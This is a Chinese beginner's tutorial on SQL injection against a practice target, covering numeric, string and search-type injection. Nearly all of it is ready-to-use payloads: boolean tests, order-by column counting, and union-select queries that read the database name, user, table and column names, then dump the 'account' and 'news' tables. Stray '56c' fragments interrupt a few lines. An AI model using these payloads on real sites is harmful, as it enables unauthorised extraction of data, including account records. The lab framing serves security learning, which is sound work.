您的位置:首页 > 数据库

SQL注入靶场实战-小白入门

2021-04-01 00:09 1076 查看

目录
  • 字符型
  • 搜索型

    SQL注入

    数字型

    1.测试有无测试点

    and 1=1,and 1=2

    2.order by 语句判断字段长,查出字段为3

    • order by 语句用于根据指定的列对结果集进行排序

    • order by后可以加列名,也可以加数字(代表第几列)

    id = 1 order by 3(数字) //返回正常
    id = 1 order by 4(数字) //返回异常       //说明字段长为3

    3.猜出字段位(必须与内部字段数一致)(用union联合查询查看回显点为2,3)

    id= -1 union select 1,2,3

    4.猜数据库名,用户

    id =-1 union select 1,database(),user()

    5.联合查询(group_concat())点代表下一级,猜解当前数据库pentest中所有的表名。

    id= -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

    6.猜列名( account 表和 news 表)

    id= -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='account'

    id= -1 union
    56c
    select 1,group_concat(column_name),3 from information_schema.columns where table_name='news'

    7.查询表中的数据

    id= -1 union select 1,group_concat(id,'--',title,'--',content),3 from news limit 0,1

    id= -1 union select 1,group_concat(Id,'--',rest,'--',own),3 from account limit 0,1

    字符型

    1.判断是否存在注入

    1' or '1'='1      //返回正常
    1' or '1'='2	  //返回异常

    2.接下来利用order by判断字段长,带入SQL查询语句可直接查询出数据(查询语句和数字型一样)

    1' order by 3#       //返回正常
    1' order by 4# 		 //返回异常

    //注意#号用途:#起注释作用,会注释掉 56c 后面的' 单行注释还可用-- (--后面需加一个空格)

    //注意后面的SQL查询语句末尾都得加一个#

    搜索型

    1.搜索型需要多闭合一个%,其他都与前面类似

    • 首先判断注入点

      1%' or 1=1#
      1%' or 1=2#

      下面就和前面数字型步骤一样,带入查询语句即可

      1%' union select 1,database(),user()#    	  //比如这里查询数据库名和用户
  • 内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
    标签: 
    相关文章推荐